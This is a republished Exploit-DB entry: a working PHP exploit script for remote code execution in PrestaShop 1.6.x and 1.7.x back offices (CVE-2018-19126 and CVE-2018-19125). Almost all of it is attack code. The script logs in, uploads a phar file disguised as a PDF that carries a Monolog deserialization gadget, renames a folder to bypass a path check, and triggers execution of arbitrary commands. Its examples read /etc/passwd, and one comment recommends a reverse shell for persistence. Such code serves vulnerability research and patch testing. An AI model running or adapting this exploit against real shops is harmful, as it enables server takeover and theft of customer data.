PrestaShop 1.6.x/1.7.x – Remote Code Execution

  • 作者: Fariskhi Vidyan
    日期: 2018-12-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45964/
  • <?php
    /**
     * 
     * PrestaShop 1.6.x <= 1.6.1.23 & 1.7.x <= 1.7.4.4 - Back Office Remote Code Execution
     * See https://github.com/farisv/PrestaShop-CVE-2018-19126 for explanation.
     * 
     * Chaining multiple vulnerabilities to trigger deserialization via phar.
     *
     * Date:
     * December 1st, 2018
     *
     * Author:
     * farisv
     *
     * Vendor Homepage:
     * https://www.prestashop.com/
     *
     * Vulnerable Package Link:
     * https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip
     *
     * CVE :
     * - CVE-2018-19126
     * - CVE-2018-19125
     * 
     * Prerequisite:
     * - PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4.
     * - Back Office account (logistician, translator, salesman, etc.).
     * 
     * Usage:
     * php exploit.php back-office-url email password func param
     * 
     * Example:
     * php exploit.php http://127.0.0.1/admin-dev/ salesman@shop.com 54l35m4n123
     * system 'cat /etc/passwd'
     * 
     * Note:
     * Note that the upload directory will be renamed and you can't upload the
     * malicious phar file again if the folder name is not reverted. You might want
     * to execute reverse shell to gain persistence RCE or include the command to
     * rename the folder again in your payload (you need to know the path to the
     * upload directory).
     * 
     * FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES.
     * THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.
     * 
     */
    
    namespace PrestaShopRCE {
    
    class Exploit {
    private $url;
    private $email;
    private $passwd;
    private $cmd;
    private $func;
    private $param;
    
    public function __construct($url, $email, $passwd, $func, $param) {
    $this->url = $url;
    $this->email = $email;
    $this->passwd = $passwd;
    $this->func = $func;
    $this->param = $param;
    }
    
    private function post($path, $data, $cookie) {
    $curl_handle = curl_init();
    
    $options = array(
    CURLOPT_URL => $this->url . $path,
    CURLOPT_HEADER => true,
    CURLOPT_POST => 1,
    CURLOPT_POSTFIELDS => $data,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE => $cookie
    );
    
    curl_setopt_array($curl_handle, $options);
    $raw = curl_exec($curl_handle);
    curl_close($curl_handle);
    
    return $raw;
    }
    
    private function fetch_cookie($raw) {
    $header = "Set-Cookie: ";
    $cookie_header_start = strpos($raw, $header);
    $sliced_part = substr($raw, $cookie_header_start + strlen($header));
    $cookie = substr($sliced_part, 0, strpos($sliced_part, ';'));
    return $cookie;
    }
    
    public function run() {
    
    // Login and get PrestaShop cookie
    $data = array(
    'email' => $this->email,
    'passwd' => $this->passwd,
    'submitLogin' => '1',
    'controller' => 'AdminLogin',
    'ajax' => '1'
    );
    $cookie = "";
    $raw = $this->post('/', $data, $cookie);
    $prestashop_cookie = $this->fetch_cookie($raw);
    
    // Get FileManager cookie
    $data = array();
    $cookie = $prestashop_cookie;
    $raw = $this->post('/filemanager/dialog.php', $data, $cookie);
    $filemanager_cookie = $this->fetch_cookie($raw);
    
    // Craft deserialization gadget
    $gadget = new \Monolog\Handler\SyslogUdpHandler(
    new \Monolog\Handler\BufferHandler(
    ['current', $this->func],
    [$this->param, 'level' => null]
    )
    );
    
    // Craft malicious phar file
    $phar = new \Phar('phar.phar');
    $phar->startBuffering();
    $phar->addFromString('test', 'test');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar->setMetadata($gadget);
    $phar->stopBuffering();
    
    // Change the extension
    rename('phar.phar', 'phar.pdf');
    
    // Cookie for next requests
    $cookie = "$prestashop_cookie; $filemanager_cookie";
    
    // Upload phar.pdf
    $curl_file = new \CurlFile('phar.pdf', 'application/pdf', 'phar.pdf');
    $data = array(
    'file' => $curl_file
    );
    $raw = $this->post('/filemanager/upload.php', $data, $cookie);
    
    // Rename image directory to bypass realpath() check
    $data = array(
    'name' => 'renamed'
    );
    $raw = $this->post(
    '/filemanager/execute.php?action=rename_folder',
    $data,
    $cookie
    );
    
    // Trigger deserialization
    // The '/img/cms/' substring is important to bypass string check
    $data = array(
    'path' => 'phar://../../img/renamed/phar.pdf/img/cms/'
    );
    $raw = $this->post(
    '/filemanager/ajax_calls.php?action=image_size',
    $data,
    $cookie
    );
    
    // Display the raw result
    print $raw;
    
    }
    }
    
    }
    
    /*
     * Based on
     * https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/
    */
    namespace Monolog\Handler {
    
    class SyslogUdpHandler {
    protected $socket;
    
    function __construct($param) {
    $this->socket = $param;
    }
    }
    
    class BufferHandler {
    protected $handler;
    protected $bufferSize = -1;
    protected $buffer;
    protected $level = null;
    protected $initialized = true;
    protected $bufferLimit = -1;
    protected $processors;
    
    function __construct($methods, $command) {
    $this->processors = $methods;
    $this->buffer = [$command];
    $this->handler = clone $this;
    }
    }
    
    }
    
    namespace {
    
    if (count($argv) != 6) {
    $hint = "Usage:\nphp $argv[0] back-office-url email password func param\n\n";
    $hint .= "Example:\nphp $argv[0] http://127.0.0.1/admin-dev/ ";
    $hint .= "salesman@shop.com 54l35m4n123 system 'uname -a'";
    die($hint);
    }
    
    if (!extension_loaded('curl')) {
    die('Need php-curl');
    }
    
    $url = $argv[1];
    $email = $argv[2];
    $passwd = $argv[3];
    $func = $argv[4];
    $param = $argv[5];
    
    $exploit = new PrestaShopRCE\Exploit($url, $email, $passwd, $func, $param);
    $exploit->run();
    
    }